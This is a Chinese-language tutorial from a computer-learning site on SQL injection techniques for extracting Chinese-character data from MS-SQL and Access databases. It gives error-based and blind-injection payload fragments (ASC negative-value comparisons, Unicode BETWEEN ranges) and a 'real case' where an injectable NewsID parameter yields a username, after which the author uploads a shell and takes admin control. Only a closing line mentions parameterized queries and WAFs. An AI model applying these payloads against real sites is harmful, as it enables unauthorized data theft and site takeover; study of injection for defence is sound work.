萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

SQL Injection 中文盲注兩大核心技法:間接轉碼法與直接 Unicode 範圍法

前言

SQL Injection 中文盲注一直是滲透測試中的難點。本文系統整理 MS-SQL 與 Access 兩大資料庫的中文猜解技巧,分享「間接轉碼法」與「直接 Unicode 範圍法」兩大核心技法,並附實戰案例。

一、MS-SQL:錯誤回顯法(無需盲注)

MS-SQL 可透過型別轉換錯誤直接回顯資料。例:

SELECT * FROM sysusers WHERE [name] = 1
-- name 為 nvarchar,強制轉 int 會報錯:
-- Syntax error converting the nvarchar value 'public' to a column of data type int.

錯誤訊息中直接包含資料內容(如 public),中文同理可直接獲得,無需逐字盲注。

二、Access 中文盲注兩大技法

1. 確認目標欄位為中文

... 0<>(SELECT COUNT(*) FROM admin WHERE LEFT(xxx,1) BETWEEN CHR(20) AND CHR(254))
-- 若失敗,嘗試
... 0<>(SELECT COUNT(*) FROM admin WHERE LEFT(xxx,1) BETWEEN CHR(254) AND CHR(255))
-- 若成立,確認為中文(雙位元組字元)。

2. 間接轉碼法(ASCII 負數法)

原理:Access 中文取 ASC(RIGHT(LEFT(xxx,N),1)) 會得到負數(Unicode 高位元組特性)。

  1. 構造條件:ASC(RIGHT(LEFT(xxx,N),1)) < -XXXXX(經驗值 -10000 以下)。
  2. 逐步縮小範圍,鎖定確切負整數(如 -10532)。
  3. 用計算機轉十六進位(D6DC),再用 UltraEdit 十六進位編輯檢視對應中文字(如「周」)。

3. 直接 Unicode 範圍法

原理:Access BETWEEN 比較中文時,依 Unicode 編碼順序。

  1. 先用最大範圍確認是中文:RIGHT(LEFT(xxx,N),1) BETWEEN '一' AND '龥'(或 翿 視編碼表)。
  2. 逐步縮小範圍,直接鎖定單一中文字。
  3. 編寫自動化腳本效率最高,手工操作較繁瑣。

4. 兩法比較

維度間接轉碼法直接範圍法
適用性通用,甚至有過濾時仍可用通用,但遇過濾可能受限
手工操作較直觀需查 Unicode 表,較繁瑣
自動化腳本稍複雜較簡單
適用字元集所有非 ASCII 字元(日文/韓文等同理)同

實戰案例

目標:某站 NewsID=264 注入點,已知密碼 19831016%%%%%,用戶名長度 2 為中文。

  1. 第一字:ASC(LEFT(username,1)) < -10000 → 縮小至 -10532 → 十六進位 D6DC → 「周」。
  2. 第二字:RIGHT(LEFT(username,2),1) BETWEEN '未' AND '本' → 逐一確認 → 「末」。
  3. 組合得用戶名「周末」,登入後上傳 Shell 拿下管理權限。

結論: 中文帳號密碼並不增加安全性,盲注技法可完整破解。

結語

掌握這兩大核心技法,配合自動化工具,能高效突破 Access 中文盲注防線。資安人員應了解攻擊原理,在開發階段即參數化查詢、最小權限、WAF 防護,從根源杜絕注入風險。

copyright © 萬盛學電腦網 all rights reserved